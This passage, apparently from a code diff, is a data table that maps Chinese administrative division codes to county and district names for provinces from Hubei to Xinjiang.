'嘉鱼县', + 421222: '通城县', + 421223: '崇阳县', + 421224: '通山县', + 421281: '赤壁市', + 421303: '曾都区', + 421321: '随县', + 421381: '广水市', + 422801: '恩施市', + 422802: '利川市', + 422822: '建始县', + 422823: '巴东县', + 422825: '宣恩县', + 422826: '咸丰县', + 422827: '来凤县', + 422828: '鹤峰县', + 429004: '仙桃市', + 429005: '潜江市', + 429006: '天门市', + 429021: '神农架林区', + 430102: '芙蓉区', + 430103: '天心区', + 430104: '岳麓区', + 430105: '开福区', + 430111: '雨花区', + 430112: '望城区', + 430121: '长沙县', + 430181: '浏阳市', + 430182: '宁乡市', + 430202: '荷塘区', + 430203: '芦淞区', + 430204: '石峰区', + 430211: '天元区', + 430221: '株洲县', + 430223: '攸县', + 430224: '茶陵县', + 430225: '炎陵县', + 430281: '醴陵市', + 430302: '雨湖区', + 430304: '岳塘区', + 430321: '湘潭县', + 430381: '湘乡市', + 430382: '韶山市', + 430405: '珠晖区', + 430406: '雁峰区', + 430407: '石鼓区', + 430408: '蒸湘区', + 430412: '南岳区', + 430421: '衡阳县', + 430422: '衡南县', + 430423: '衡山县', + 430424: '衡东县', + 430426: '祁东县', + 430481: '耒阳市', + 430482: '常宁市', + 430502: '双清区', + 430503: '大祥区', + 430511: '北塔区', + 430521: '邵东县', + 430522: '新邵县', + 430523: '邵阳县', + 430524: '隆回县', + 430525: '洞口县', + 430527: '绥宁县', + 430528: '新宁县', + 430529: '城步苗族自治县', + 430581: '武冈市', + 430602: '岳阳楼区', + 430603: '云溪区', + 430611: '君山区', + 430621: '岳阳县', + 430623: '华容县', + 430624: '湘阴县', + 430626: '平江县', + 430681: '汨罗市', + 430682: '临湘市', + 430702: '武陵区', + 430703: '鼎城区', + 430721: '安乡县', + 430722: '汉寿县', + 430723: '澧县', + 430724: '临澧县', + 430725: '桃源县', + 430726: '石门县', + 430781: '津市市', + 430802: '永定区', + 430811: '武陵源区', + 430821: '慈利县', + 430822: '桑植县', + 430902: '资阳区', + 430903: '赫山区', + 430921: '南县', + 430922: '桃江县', + 430923: '安化县', + 430981: '沅江市', + 431002: '北湖区', + 431003: '苏仙区', + 431021: '桂阳县', + 431022: '宜章县', + 431023: '永兴县', + 431024: '嘉禾县', + 431025: '临武县', + 431026: '汝城县', + 431027: '桂东县', + 431028: '安仁县', + 431081: '资兴市', + 431102: '零陵区', + 431103: '冷水滩区', + 431121: '祁阳县', + 431122: '东安县', + 431123: '双牌县', + 431124: '道县', + 431125: '江永县', + 431126: '宁远县', + 431127: '蓝山县', + 431128: '新田县', + 431129: '江华瑶族自治县', + 431202: '鹤城区', + 431221: '中方县', + 431222: '沅陵县', + 431223: '辰溪县', + 431224: '溆浦县', + 431225: '会同县', + 431226: '麻阳苗族自治县', + 431227: '新晃侗族自治县', + 431228: '芷江侗族自治县', + 431229: '靖州苗族侗族自治县', + 431230: '通道侗族自治县', + 431281: '洪江市', + 431302: '娄星区', + 431321: '双峰县', + 431322: '新化县', + 431381: '冷水江市', + 431382: '涟源市', + 433101: '吉首市', + 433122: '泸溪县', + 433123: '凤凰县', + 433124: '花垣县', + 433125: '保靖县', + 433126: '古丈县', + 433127: '永顺县', + 433130: '龙山县', + 440103: '荔湾区', + 440104: '越秀区', + 440105: '海珠区', + 440106: '天河区', + 440111: '白云区', + 440112: '黄埔区', + 440113: '番禺区', + 440114: '花都区', + 440115: '南沙区', + 440117: '从化区', + 440118: '增城区', + 440203: '武江区', + 440204: '浈江区', + 440205: '曲江区', + 440222: '始兴县', + 440224: '仁化县', + 440229: '翁源县', + 440232: '乳源瑶族自治县', + 440233: '新丰县', + 440281: '乐昌市', + 440282: '南雄市', + 440303: '罗湖区', + 440304: '福田区', + 440305: '南山区', + 440306: '宝安区', + 440307: '龙岗区', + 440308: '盐田区', + 440309: '龙华区', + 440310: '坪山区', + 440402: '香洲区', + 440403: '斗门区', + 440404: '金湾区', + 440507: '龙湖区', + 440511: '金平区', + 440512: '濠江区', + 440513: '潮阳区', + 440514: '潮南区', + 440515: '澄海区', + 440523: '南澳县', + 440604: '禅城区', + 440605: '南海区', + 440606: '顺德区', + 440607: '三水区', + 440608: '高明区', + 440703: '蓬江区', + 440704: '江海区', + 440705: '新会区', + 440781: '台山市', + 440783: '开平市', + 440784: '鹤山市', + 440785: '恩平市', + 440802: '赤坎区', + 440803: '霞山区', + 440804: '坡头区', + 440811: '麻章区', + 440823: '遂溪县', + 440825: '徐闻县', + 440881: '廉江市', + 440882: '雷州市', + 440883: '吴川市', + 440890: '经济技术开发区', + 440902: '茂南区', + 440904: '电白区', + 440981: '高州市', + 440982: '化州市', + 440983: '信宜市', + 441202: '端州区', + 441203: '鼎湖区', + 441204: '高要区', + 441223: '广宁县', + 441224: '怀集县', + 441225: '封开县', + 441226: '德庆县', + 441284: '四会市', + 441302: '惠城区', + 441303: '惠阳区', + 441322: '博罗县', + 441323: '惠东县', + 441324: '龙门县', + 441402: '梅江区', + 441403: '梅县区', + 441422: '大埔县', + 441423: '丰顺县', + 441424: '五华县', + 441426: '平远县', + 441427: '蕉岭县', + 441481: '兴宁市', + 441502: '城区', + 441521: '海丰县', + 441523: '陆河县', + 441581: '陆丰市', + 441602: '源城区', + 441621: '紫金县', + 441622: '龙川县', + 441623: '连平县', + 441624: '和平县', + 441625: '东源县', + 441702: '江城区', + 441704: '阳东区', + 441721: '阳西县', + 441781: '阳春市', + 441802: '清城区', + 441803: '清新区', + 441821: '佛冈县', + 441823: '阳山县', + 441825: '连山壮族瑶族自治县', + 441826: '连南瑶族自治县', + 441881: '英德市', + 441882: '连州市', + 441901: '中堂镇', + 441903: '南城区', + 441904: '长安镇', + 441905: '东坑镇', + 441906: '樟木头镇', + 441907: '莞城区', + 441908: '石龙镇', + 441909: '桥头镇', + 441910: '万江区', + 441911: '麻涌镇', + 441912: '虎门镇', + 441913: '谢岗镇', + 441914: '石碣镇', + 441915: '茶山镇', + 441916: '东城区', + 441917: '洪梅镇', + 441918: '道滘镇', + 441919: '高埗镇', + 441920: '企石镇', + 441921: '凤岗镇', + 441922: '大岭山镇', + 441923: '松山湖', + 441924: '清溪镇', + 441925: '望牛墩镇', + 441926: '厚街镇', + 441927: '常平镇', + 441928: '寮步镇', + 441929: '石排镇', + 441930: '横沥镇', + 441931: '塘厦镇', + 441932: '黄江镇', + 441933: '大朗镇', + 441990: '沙田镇', + 442001: '南头镇', + 442002: '神湾镇', + 442003: '东凤镇', + 442004: '五桂山镇', + 442005: '黄圃镇', + 442006: '小榄镇', + 442007: '石岐区街道', + 442008: '横栏镇', + 442009: '三角镇', + 442010: '三乡镇', + 442011: '港口镇', + 442012: '沙溪镇', + 442013: '板芙镇', + 442014: '沙朗镇', + 442015: '东升镇', + 442016: '阜沙镇', + 442017: '民众镇', + 442018: '东区街道', + 442019: '火炬开发区', + 442020: '西区街道', + 442021: '南区街道', + 442022: '古镇', + 442023: '坦洲镇', + 442024: '大涌镇', + 442025: '南朗镇', + 445102: '湘桥区', + 445103: '潮安区', + 445122: '饶平县', + 445202: '榕城区', + 445203: '揭东区', + 445222: '揭西县', + 445224: '惠来县', + 445281: '普宁市', + 445302: '云城区', + 445303: '云安区', + 445321: '新兴县', + 445322: '郁南县', + 445381: '罗定市', + 450102: '兴宁区', + 450103: '青秀区', + 450105: '江南区', + 450107: '西乡塘区', + 450108: '良庆区', + 450109: '邕宁区', + 450110: '武鸣区', + 450123: '隆安县', + 450124: '马山县', + 450125: '上林县', + 450126: '宾阳县', + 450127: '横县', + 450202: '城中区', + 450203: '鱼峰区', + 450204: '柳南区', + 450205: '柳北区', + 450206: '柳江区', + 450222: '柳城县', + 450223: '鹿寨县', + 450224: '融安县', + 450225: '融水苗族自治县', + 450226: '三江侗族自治县', + 450302: '秀峰区', + 450303: '叠彩区', + 450304: '象山区', + 450305: '七星区', + 450311: '雁山区', + 450312: '临桂区', + 450321: '阳朔县', + 450323: '灵川县', + 450324: '全州县', + 450325: '兴安县', + 450326: '永福县', + 450327: '灌阳县', + 450328: '龙胜各族自治县', + 450329: '资源县', + 450330: '平乐县', + 450331: '荔浦县', + 450332: '恭城瑶族自治县', + 450403: '万秀区', + 450405: '长洲区', + 450406: '龙圩区', + 450421: '苍梧县', + 450422: '藤县', + 450423: '蒙山县', + 450481: '岑溪市', + 450502: '海城区', + 450503: '银海区', + 450512: '铁山港区', + 450521: '合浦县', + 450602: '港口区', + 450603: '防城区', + 450621: '上思县', + 450681: '东兴市', + 450702: '钦南区', + 450703: '钦北区', + 450721: '灵山县', + 450722: '浦北县', + 450802: '港北区', + 450803: '港南区', + 450804: '覃塘区', + 450821: '平南县', + 450881: '桂平市', + 450902: '玉州区', + 450903: '福绵区', + 450921: '容县', + 450922: '陆川县', + 450923: '博白县', + 450924: '兴业县', + 450981: '北流市', + 451002: '右江区', + 451021: '田阳县', + 451022: '田东县', + 451023: '平果县', + 451024: '德保县', + 451026: '那坡县', + 451027: '凌云县', + 451028: '乐业县', + 451029: '田林县', + 451030: '西林县', + 451031: '隆林各族自治县', + 451081: '靖西市', + 451102: '八步区', + 451103: '平桂区', + 451121: '昭平县', + 451122: '钟山县', + 451123: '富川瑶族自治县', + 451202: '金城江区', + 451203: '宜州区', + 451221: '南丹县', + 451222: '天峨县', + 451223: '凤山县', + 451224: '东兰县', + 451225: '罗城仫佬族自治县', + 451226: '环江毛南族自治县', + 451227: '巴马瑶族自治县', + 451228: '都安瑶族自治县', + 451229: '大化瑶族自治县', + 451302: '兴宾区', + 451321: '忻城县', + 451322: '象州县', + 451323: '武宣县', + 451324: '金秀瑶族自治县', + 451381: '合山市', + 451402: '江州区', + 451421: '扶绥县', + 451422: '宁明县', + 451423: '龙州县', + 451424: '大新县', + 451425: '天等县', + 451481: '凭祥市', + 460105: '秀英区', + 460106: '龙华区', + 460107: '琼山区', + 460108: '美兰区', + 460202: '海棠区', + 460203: '吉阳区', + 460204: '天涯区', + 460205: '崖州区', + 460321: '西沙群岛', + 460322: '南沙群岛', + 460323: '中沙群岛的岛礁及其海域', + 460401: '那大镇', + 460402: '和庆镇', + 460403: '南丰镇', + 460404: '大成镇', + 460405: '雅星镇', + 460406: '兰洋镇', + 460407: '光村镇', + 460408: '木棠镇', + 460409: '海头镇', + 460410: '峨蔓镇', + 460411: '王五镇', + 460412: '白马井镇', + 460413: '中和镇', + 460414: '排浦镇', + 460415: '东成镇', + 460416: '新州镇', + 469001: '五指山市', + 469002: '琼海市', + 469005: '文昌市', + 469006: '万宁市', + 469007: '东方市', + 469021: '定安县', + 469022: '屯昌县', + 469023: '澄迈县', + 469024: '临高县', + 469025: '白沙黎族自治县', + 469026: '昌江黎族自治县', + 469027: '乐东黎族自治县', + 469028: '陵水黎族自治县', + 469029: '保亭黎族苗族自治县', + 469030: '琼中黎族苗族自治县', + 500101: '万州区', + 500102: '涪陵区', + 500103: '渝中区', + 500104: '大渡口区', + 500105: '江北区', + 500106: '沙坪坝区', + 500107: '九龙坡区', + 500108: '南岸区', + 500109: '北碚区', + 500110: '綦江区', + 500111: '大足区', + 500112: '渝北区', + 500113: '巴南区', + 500114: '黔江区', + 500115: '长寿区', + 500116: '江津区', + 500117: '合川区', + 500118: '永川区', + 500119: '南川区', + 500120: '璧山区', + 500151: '铜梁区', + 500152: '潼南区', + 500153: '荣昌区', + 500154: '开州区', + 500155: '梁平区', + 500156: '武隆区', + 500229: '城口县', + 500230: '丰都县', + 500231: '垫江县', + 500233: '忠县', + 500235: '云阳县', + 500236: '奉节县', + 500237: '巫山县', + 500238: '巫溪县', + 500240: '石柱土家族自治县', + 500241: '秀山土家族苗族自治县', + 500242: '酉阳土家族苗族自治县', + 500243: '彭水苗族土家族自治县', + 510104: '锦江区', + 510105: '青羊区', + 510106: '金牛区', + 510107: '武侯区', + 510108: '成华区', + 510112: '龙泉驿区', + 510113: '青白江区', + 510114: '新都区', + 510115: '温江区', + 510116: '双流区', + 510117: '郫都区', + 510121: '金堂县', + 510129: '大邑县', + 510131: '蒲江县', + 510132: '新津县', + 510181: '都江堰市', + 510182: '彭州市', + 510183: '邛崃市', + 510184: '崇州市', + 510185: '简阳市', + 510191: '高新区', + 510302: '自流井区', + 510303: '贡井区', + 510304: '大安区', + 510311: '沿滩区', + 510321: '荣县', + 510322: '富顺县', + 510402: '东区', + 510403: '西区', + 510411: '仁和区', + 510421: '米易县', + 510422: '盐边县', + 510502: '江阳区', + 510503: '纳溪区', + 510504: '龙马潭区', + 510521: '泸县', + 510522: '合江县', + 510524: '叙永县', + 510525: '古蔺县', + 510603: '旌阳区', + 510604: '罗江区', + 510623: '中江县', + 510681: '广汉市', + 510682: '什邡市', + 510683: '绵竹市', + 510703: '涪城区', + 510704: '游仙区', + 510705: '安州区', + 510722: '三台县', + 510723: '盐亭县', + 510725: '梓潼县', + 510726: '北川羌族自治县', + 510727: '平武县', + 510781: '江油市', + 510791: '高新区', + 510802: '利州区', + 510811: '昭化区', + 510812: '朝天区', + 510821: '旺苍县', + 510822: '青川县', + 510823: '剑阁县', + 510824: '苍溪县', + 510903: '船山区', + 510904: '安居区', + 510921: '蓬溪县', + 510922: '射洪县', + 510923: '大英县', + 511002: '市中区', + 511011: '东兴区', + 511024: '威远县', + 511025: '资中县', + 511083: '隆昌市', + 511102: '市中区', + 511111: '沙湾区', + 511112: '五通桥区', + 511113: '金口河区', + 511123: '犍为县', + 511124: '井研县', + 511126: '夹江县', + 511129: '沐川县', + 511132: '峨边彝族自治县', + 511133: '马边彝族自治县', + 511181: '峨眉山市', + 511302: '顺庆区', + 511303: '高坪区', + 511304: '嘉陵区', + 511321: '南部县', + 511322: '营山县', + 511323: '蓬安县', + 511324: '仪陇县', + 511325: '西充县', + 511381: '阆中市', + 511402: '东坡区', + 511403: '彭山区', + 511421: '仁寿县', + 511423: '洪雅县', + 511424: '丹棱县', + 511425: '青神县', + 511502: '翠屏区', + 511503: '南溪区', + 511521: '宜宾县', + 511523: '江安县', + 511524: '长宁县', + 511525: '高县', + 511526: '珙县', + 511527: '筠连县', + 511528: '兴文县', + 511529: '屏山县', + 511602: '广安区', + 511603: '前锋区', + 511621: '岳池县', + 511622: '武胜县', + 511623: '邻水县', + 511681: '华蓥市', + 511702: '通川区', + 511703: '达川区', + 511722: '宣汉县', + 511723: '开江县', + 511724: '大竹县', + 511725: '渠县', + 511781: '万源市', + 511802: '雨城区', + 511803: '名山区', + 511822: '荥经县', + 511823: '汉源县', + 511824: '石棉县', + 511825: '天全县', + 511826: '芦山县', + 511827: '宝兴县', + 511902: '巴州区', + 511903: '恩阳区', + 511921: '通江县', + 511922: '南江县', + 511923: '平昌县', + 512002: '雁江区', + 512021: '安岳县', + 512022: '乐至县', + 513201: '马尔康市', + 513221: '汶川县', + 513222: '理县', + 513223: '茂县', + 513224: '松潘县', + 513225: '九寨沟县', + 513226: '金川县', + 513227: '小金县', + 513228: '黑水县', + 513230: '壤塘县', + 513231: '阿坝县', + 513232: '若尔盖县', + 513233: '红原县', + 513301: '康定市', + 513322: '泸定县', + 513323: '丹巴县', + 513324: '九龙县', + 513325: '雅江县', + 513326: '道孚县', + 513327: '炉霍县', + 513328: '甘孜县', + 513329: '新龙县', + 513330: '德格县', + 513331: '白玉县', + 513332: '石渠县', + 513333: '色达县', + 513334: '理塘县', + 513335: '巴塘县', + 513336: '乡城县', + 513337: '稻城县', + 513338: '得荣县', + 513401: '西昌市', + 513422: '木里藏族自治县', + 513423: '盐源县', + 513424: '德昌县', + 513425: '会理县', + 513426: '会东县', + 513427: '宁南县', + 513428: '普格县', + 513429: '布拖县', + 513430: '金阳县', + 513431: '昭觉县', + 513432: '喜德县', + 513433: '冕宁县', + 513434: '越西县', + 513435: '甘洛县', + 513436: '美姑县', + 513437: '雷波县', + 520102: '南明区', + 520103: '云岩区', + 520111: '花溪区', + 520112: '乌当区', + 520113: '白云区', + 520115: '观山湖区', + 520121: '开阳县', + 520122: '息烽县', + 520123: '修文县', + 520181: '清镇市', + 520201: '钟山区', + 520203: '六枝特区', + 520221: '水城县', + 520281: '盘州市', + 520302: '红花岗区', + 520303: '汇川区', + 520304: '播州区', + 520322: '桐梓县', + 520323: '绥阳县', + 520324: '正安县', + 520325: '道真仡佬族苗族自治县', + 520326: '务川仡佬族苗族自治县', + 520327: '凤冈县', + 520328: '湄潭县', + 520329: '余庆县', + 520330: '习水县', + 520381: '赤水市', + 520382: '仁怀市', + 520402: '西秀区', + 520403: '平坝区', + 520422: '普定县', + 520423: '镇宁布依族苗族自治县', + 520424: '关岭布依族苗族自治县', + 520425: '紫云苗族布依族自治县', + 520502: '七星关区', + 520521: '大方县', + 520522: '黔西县', + 520523: '金沙县', + 520524: '织金县', + 520525: '纳雍县', + 520526: '威宁彝族回族苗族自治县', + 520527: '赫章县', + 520602: '碧江区', + 520603: '万山区', + 520621: '江口县', + 520622: '玉屏侗族自治县', + 520623: '石阡县', + 520624: '思南县', + 520625: '印江土家族苗族自治县', + 520626: '德江县', + 520627: '沿河土家族自治县', + 520628: '松桃苗族自治县', + 522301: '兴义市', + 522322: '兴仁县', + 522323: '普安县', + 522324: '晴隆县', + 522325: '贞丰县', + 522326: '望谟县', + 522327: '册亨县', + 522328: '安龙县', + 522601: '凯里市', + 522622: '黄平县', + 522623: '施秉县', + 522624: '三穗县', + 522625: '镇远县', + 522626: '岑巩县', + 522627: '天柱县', + 522628: '锦屏县', + 522629: '剑河县', + 522630: '台江县', + 522631: '黎平县', + 522632: '榕江县', + 522633: '从江县', + 522634: '雷山县', + 522635: '麻江县', + 522636: '丹寨县', + 522701: '都匀市', + 522702: '福泉市', + 522722: '荔波县', + 522723: '贵定县', + 522725: '瓮安县', + 522726: '独山县', + 522727: '平塘县', + 522728: '罗甸县', + 522729: '长顺县', + 522730: '龙里县', + 522731: '惠水县', + 522732: '三都水族自治县', + 530102: '五华区', + 530103: '盘龙区', + 530111: '官渡区', + 530112: '西山区', + 530113: '东川区', + 530114: '呈贡区', + 530115: '晋宁区', + 530124: '富民县', + 530125: '宜良县', + 530126: '石林彝族自治县', + 530127: '嵩明县', + 530128: '禄劝彝族苗族自治县', + 530129: '寻甸回族彝族自治县', + 530181: '安宁市', + 530302: '麒麟区', + 530303: '沾益区', + 530321: '马龙县', + 530322: '陆良县', + 530323: '师宗县', + 530324: '罗平县', + 530325: '富源县', + 530326: '会泽县', + 530381: '宣威市', + 530402: '红塔区', + 530403: '江川区', + 530422: '澄江县', + 530423: '通海县', + 530424: '华宁县', + 530425: '易门县', + 530426: '峨山彝族自治县', + 530427: '新平彝族傣族自治县', + 530428: '元江哈尼族彝族傣族自治县', + 530502: '隆阳区', + 530521: '施甸县', + 530523: '龙陵县', + 530524: '昌宁县', + 530581: '腾冲市', + 530602: '昭阳区', + 530621: '鲁甸县', + 530622: '巧家县', + 530623: '盐津县', + 530624: '大关县', + 530625: '永善县', + 530626: '绥江县', + 530627: '镇雄县', + 530628: '彝良县', + 530629: '威信县', + 530630: '水富县', + 530702: '古城区', + 530721: '玉龙纳西族自治县', + 530722: '永胜县', + 530723: '华坪县', + 530724: '宁蒗彝族自治县', + 530802: '思茅区', + 530821: '宁洱哈尼族彝族自治县', + 530822: '墨江哈尼族自治县', + 530823: '景东彝族自治县', + 530824: '景谷傣族彝族自治县', + 530825: '镇沅彝族哈尼族拉祜族自治县', + 530826: '江城哈尼族彝族自治县', + 530827: '孟连傣族拉祜族佤族自治县', + 530828: '澜沧拉祜族自治县', + 530829: '西盟佤族自治县', + 530902: '临翔区', + 530921: '凤庆县', + 530922: '云县', + 530923: '永德县', + 530924: '镇康县', + 530925: '双江拉祜族佤族布朗族傣族自治县', + 530926: '耿马傣族佤族自治县', + 530927: '沧源佤族自治县', + 532301: '楚雄市', + 532322: '双柏县', + 532323: '牟定县', + 532324: '南华县', + 532325: '姚安县', + 532326: '大姚县', + 532327: '永仁县', + 532328: '元谋县', + 532329: '武定县', + 532331: '禄丰县', + 532501: '个旧市', + 532502: '开远市', + 532503: '蒙自市', + 532504: '弥勒市', + 532523: '屏边苗族自治县', + 532524: '建水县', + 532525: '石屏县', + 532527: '泸西县', + 532528: '元阳县', + 532529: '红河县', + 532530: '金平苗族瑶族傣族自治县', + 532531: '绿春县', + 532532: '河口瑶族自治县', + 532601: '文山市', + 532622: '砚山县', + 532623: '西畴县', + 532624: '麻栗坡县', + 532625: '马关县', + 532626: '丘北县', + 532627: '广南县', + 532628: '富宁县', + 532801: '景洪市', + 532822: '勐海县', + 532823: '勐腊县', + 532901: '大理市', + 532922: '漾濞彝族自治县', + 532923: '祥云县', + 532924: '宾川县', + 532925: '弥渡县', + 532926: '南涧彝族自治县', + 532927: '巍山彝族回族自治县', + 532928: '永平县', + 532929: '云龙县', + 532930: '洱源县', + 532931: '剑川县', + 532932: '鹤庆县', + 533102: '瑞丽市', + 533103: '芒市', + 533122: '梁河县', + 533123: '盈江县', + 533124: '陇川县', + 533301: '泸水市', + 533323: '福贡县', + 533324: '贡山独龙族怒族自治县', + 533325: '兰坪白族普米族自治县', + 533401: '香格里拉市', + 533422: '德钦县', + 533423: '维西傈僳族自治县', + 540102: '城关区', + 540103: '堆龙德庆区', + 540104: '达孜区', + 540121: '林周县', + 540122: '当雄县', + 540123: '尼木县', + 540124: '曲水县', + 540127: '墨竹工卡县', + 540202: '桑珠孜区', + 540221: '南木林县', + 540222: '江孜县', + 540223: '定日县', + 540224: '萨迦县', + 540225: '拉孜县', + 540226: '昂仁县', + 540227: '谢通门县', + 540228: '白朗县', + 540229: '仁布县', + 540230: '康马县', + 540231: '定结县', + 540232: '仲巴县', + 540233: '亚东县', + 540234: '吉隆县', + 540235: '聂拉木县', + 540236: '萨嘎县', + 540237: '岗巴县', + 540302: '卡若区', + 540321: '江达县', + 540322: '贡觉县', + 540323: '类乌齐县', + 540324: '丁青县', + 540325: '察雅县', + 540326: '八宿县', + 540327: '左贡县', + 540328: '芒康县', + 540329: '洛隆县', + 540330: '边坝县', + 540402: '巴宜区', + 540421: '工布江达县', + 540422: '米林县', + 540423: '墨脱县', + 540424: '波密县', + 540425: '察隅县', + 540426: '朗县', + 540502: '乃东区', + 540521: '扎囊县', + 540522: '贡嘎县', + 540523: '桑日县', + 540524: '琼结县', + 540525: '曲松县', + 540526: '措美县', + 540527: '洛扎县', + 540528: '加查县', + 540529: '隆子县', + 540530: '错那县', + 540531: '浪卡子县', + 540602: '色尼区', + 542421: '那曲县', + 542422: '嘉黎县', + 542423: '比如县', + 542424: '聂荣县', + 542425: '安多县', + 542426: '申扎县', + 542427: '索县', + 542428: '班戈县', + 542429: '巴青县', + 542430: '尼玛县', + 542431: '双湖县', + 542521: '普兰县', + 542522: '札达县', + 542523: '噶尔县', + 542524: '日土县', + 542525: '革吉县', + 542526: '改则县', + 542527: '措勤县', + 610102: '新城区', + 610103: '碑林区', + 610104: '莲湖区', + 610111: '灞桥区', + 610112: '未央区', + 610113: '雁塔区', + 610114: '阎良区', + 610115: '临潼区', + 610116: '长安区', + 610117: '高陵区', + 610118: '鄠邑区', + 610122: '蓝田县', + 610124: '周至县', + 610202: '王益区', + 610203: '印台区', + 610204: '耀州区', + 610222: '宜君县', + 610302: '渭滨区', + 610303: '金台区', + 610304: '陈仓区', + 610322: '凤翔县', + 610323: '岐山县', + 610324: '扶风县', + 610326: '眉县', + 610327: '陇县', + 610328: '千阳县', + 610329: '麟游县', + 610330: '凤县', + 610331: '太白县', + 610402: '秦都区', + 610403: '杨陵区', + 610404: '渭城区', + 610422: '三原县', + 610423: '泾阳县', + 610424: '乾县', + 610425: '礼泉县', + 610426: '永寿县', + 610427: '彬县', + 610428: '长武县', + 610429: '旬邑县', + 610430: '淳化县', + 610431: '武功县', + 610481: '兴平市', + 610502: '临渭区', + 610503: '华州区', + 610522: '潼关县', + 610523: '大荔县', + 610524: '合阳县', + 610525: '澄城县', + 610526: '蒲城县', + 610527: '白水县', + 610528: '富平县', + 610581: '韩城市', + 610582: '华阴市', + 610602: '宝塔区', + 610603: '安塞区', + 610621: '延长县', + 610622: '延川县', + 610623: '子长县', + 610625: '志丹县', + 610626: '吴起县', + 610627: '甘泉县', + 610628: '富县', + 610629: '洛川县', + 610630: '宜川县', + 610631: '黄龙县', + 610632: '黄陵县', + 610702: '汉台区', + 610703: '南郑区', + 610722: '城固县', + 610723: '洋县', + 610724: '西乡县', + 610725: '勉县', + 610726: '宁强县', + 610727: '略阳县', + 610728: '镇巴县', + 610729: '留坝县', + 610730: '佛坪县', + 610802: '榆阳区', + 610803: '横山区', + 610822: '府谷县', + 610824: '靖边县', + 610825: '定边县', + 610826: '绥德县', + 610827: '米脂县', + 610828: '佳县', + 610829: '吴堡县', + 610830: '清涧县', + 610831: '子洲县', + 610881: '神木市', + 610902: '汉滨区', + 610921: '汉阴县', + 610922: '石泉县', + 610923: '宁陕县', + 610924: '紫阳县', + 610925: '岚皋县', + 610926: '平利县', + 610927: '镇坪县', + 610928: '旬阳县', + 610929: '白河县', + 611002: '商州区', + 611021: '洛南县', + 611022: '丹凤县', + 611023: '商南县', + 611024: '山阳县', + 611025: '镇安县', + 611026: '柞水县', + 620102: '城关区', + 620103: '七里河区', + 620104: '西固区', + 620105: '安宁区', + 620111: '红古区', + 620121: '永登县', + 620122: '皋兰县', + 620123: '榆中县', + 620201: '市辖区', + 620290: '雄关区', + 620291: '长城区', + 620292: '镜铁区', + 620293: '新城镇', + 620294: '峪泉镇', + 620295: '文殊镇', + 620302: '金川区', + 620321: '永昌县', + 620402: '白银区', + 620403: '平川区', + 620421: '靖远县', + 620422: '会宁县', + 620423: '景泰县', + 620502: '秦州区', + 620503: '麦积区', + 620521: '清水县', + 620522: '秦安县', + 620523: '甘谷县', + 620524: '武山县', + 620525: '张家川回族自治县', + 620602: '凉州区', + 620621: '民勤县', + 620622: '古浪县', + 620623: '天祝藏族自治县', + 620702: '甘州区', + 620721: '肃南裕固族自治县', + 620722: '民乐县', + 620723: '临泽县', + 620724: '高台县', + 620725: '山丹县', + 620802: '崆峒区', + 620821: '泾川县', + 620822: '灵台县', + 620823: '崇信县', + 620824: '华亭县', + 620825: '庄浪县', + 620826: '静宁县', + 620902: '肃州区', + 620921: '金塔县', + 620922: '瓜州县', + 620923: '肃北蒙古族自治县', + 620924: '阿克塞哈萨克族自治县', + 620981: '玉门市', + 620982: '敦煌市', + 621002: '西峰区', + 621021: '庆城县', + 621022: '环县', + 621023: '华池县', + 621024: '合水县', + 621025: '正宁县', + 621026: '宁县', + 621027: '镇原县', + 621102: '安定区', + 621121: '通渭县', + 621122: '陇西县', + 621123: '渭源县', + 621124: '临洮县', + 621125: '漳县', + 621126: '岷县', + 621202: '武都区', + 621221: '成县', + 621222: '文县', + 621223: '宕昌县', + 621224: '康县', + 621225: '西和县', + 621226: '礼县', + 621227: '徽县', + 621228: '两当县', + 622901: '临夏市', + 622921: '临夏县', + 622922: '康乐县', + 622923: '永靖县', + 622924: '广河县', + 622925: '和政县', + 622926: '东乡族自治县', + 622927: '积石山保安族东乡族撒拉族自治县', + 623001: '合作市', + 623021: '临潭县', + 623022: '卓尼县', + 623023: '舟曲县', + 623024: '迭部县', + 623025: '玛曲县', + 623026: '碌曲县', + 623027: '夏河县', + 630102: '城东区', + 630103: '城中区', + 630104: '城西区', + 630105: '城北区', + 630121: '大通回族土族自治县', + 630122: '湟中县', + 630123: '湟源县', + 630202: '乐都区', + 630203: '平安区', + 630222: '民和回族土族自治县', + 630223: '互助土族自治县', + 630224: '化隆回族自治县', + 630225: '循化撒拉族自治县', + 632221: '门源回族自治县', + 632222: '祁连县', + 632223: '海晏县', + 632224: '刚察县', + 632321: '同仁县', + 632322: '尖扎县', + 632323: '泽库县', + 632324: '河南蒙古族自治县', + 632521: '共和县', + 632522: '同德县', + 632523: '贵德县', + 632524: '兴海县', + 632525: '贵南县', + 632621: '玛沁县', + 632622: '班玛县', + 632623: '甘德县', + 632624: '达日县', + 632625: '久治县', + 632626: '玛多县', + 632701: '玉树市', + 632722: '杂多县', + 632723: '称多县', + 632724: '治多县', + 632725: '囊谦县', + 632726: '曲麻莱县', + 632801: '格尔木市', + 632802: '德令哈市', + 632821: '乌兰县', + 632822: '都兰县', + 632823: '天峻县', + 640104: '兴庆区', + 640105: '西夏区', + 640106: '金凤区', + 640121: '永宁县', + 640122: '贺兰县', + 640181: '灵武市', + 640202: '大武口区', + 640205: '惠农区', + 640221: '平罗县', + 640302: '利通区', + 640303: '红寺堡区', + 640323: '盐池县', + 640324: '同心县', + 640381: '青铜峡市', + 640402: '原州区', + 640422: '西吉县', + 640423: '隆德县', + 640424: '泾源县', + 640425: '彭阳县', + 640502: '沙坡头区', + 640521: '中宁县', + 640522: '海原县', + 650102: '天山区', + 650103: '沙依巴克区', + 650104: '新市区', + 650105: '水磨沟区', + 650106: '头屯河区', + 650107: '达坂城区', + 650109: '米东区', + 650121: '乌鲁木齐县', + 650202: '独山子区', + 650203: '克拉玛依区', + 650204: '白碱滩区', + 650205: '乌尔禾区', + 650402: '高昌区', + 650421: '鄯善县', + 650422: '托克逊县', + 650502: '伊州区', + 650521: '巴里坤哈萨克自治县', + 650522: '伊吾县', + 652301: '昌吉市', + 652302: '阜康市', + 652323: '呼图壁县', + 652324: '玛纳斯县', + 652325: '奇台县', + 652327: '吉木萨尔县', + 652328: '木垒哈萨克自治县', + 652701: '博乐市', + 652702: '阿拉山口市', + 652722: '精河县', + 652723: '温泉县', + 652801: '库尔勒市', + 652822: '轮台县', + 652823: '尉犁县', + 652824: '若羌县', + 652825: '且末县', + 652826: '焉耆回族自治县', + 652827: '和静县', + 652828: '和硕县', + 652829: '博湖县', + 652901: '阿克苏市', + 652922: '温宿县', + 652923: '库车县', + 652924: '沙雅县', + 652925: '新和县', + 652926: 